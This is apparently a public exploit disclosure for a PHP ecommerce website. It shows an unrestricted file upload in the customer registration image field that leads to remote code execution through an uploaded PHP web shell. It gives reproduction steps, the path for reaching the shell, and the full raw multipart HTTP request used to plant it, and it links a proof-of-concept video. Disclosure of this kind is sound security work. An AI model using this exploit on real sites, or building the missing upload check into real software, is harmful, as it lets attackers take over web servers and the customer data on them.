# Ecommerce Website Unrestricted File Upload + RCE # Author: D4rkP0w4r * Note => Create account, don't need login client or admin * Description => Create account upload web shell at Customer Image # Step to Reproduct * Register -> upload web shell at Customer Image -> clicked Register button # Exploit * Upload web shell at Customer Image * When upload success access /customer/customer_images/lmao.php * Web shell actived # Vulnerable Code * No file checking before uploading # POC * Injection Point ------WebKitFormBoundaryKb0szREcd2Bt8BmF Content-Disposition: form-data; name="c_image"; filename="lmao.php" Content-Type: application/octet-stream * Request POST /ecommerce-website-php/customer_register.php HTTP/1.1 Host: localhost:8080 Content-Length: 179489 Cache-Control: max-age=0 sec-ch-ua: "(Not(A:Brand";v="8", "Chromium";v="99" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 Origin: http://localhost:8080 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryKb0szREcd2Bt8BmF User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.51 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Referer: http://localhost:8080/ecommerce-website-php/customer_register.php Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Cookie: PHPSESSID=i1e5h9ubpsidb6rdnq372gttoq Connection: close ------WebKitFormBoundaryKb0szREcd2Bt8BmF Content-Disposition: form-data; name="c_name" root ------WebKitFormBoundaryKb0szREcd2Bt8BmF Content-Disposition: form-data; name="c_email" hacked@gmail.com ------WebKitFormBoundaryKb0szREcd2Bt8BmF Content-Disposition: form-data; name="c_pass" 1 ------WebKitFormBoundaryKb0szREcd2Bt8BmF Content-Disposition: form-data; name="c_country" USA ------WebKitFormBoundaryKb0szREcd2Bt8BmF Content-Disposition: form-data; name="c_city" NewYork ------WebKitFormBoundaryKb0szREcd2Bt8BmF Content-Disposition: form-data; name="c_contact" 0909090 ------WebKitFormBoundaryKb0szREcd2Bt8BmF Content-Disposition: form-data; name="c_address" 123/1 ------WebKitFormBoundaryKb0szREcd2Bt8BmF Content-Disposition: form-data; name="c_image"; filename="lmao.php" Content-Type: application/octet-stream ------WebKitFormBoundaryKb0szREcd2Bt8BmF Content-Disposition: form-data; name="register" ------WebKitFormBoundaryKb0szREcd2Bt8BmF-- * POC VIDEO https://drive.google.com/file/d/1m6rovKb3ZWJ-vbsVlfaZDGmyZ_F13nCf/view?usp=sharing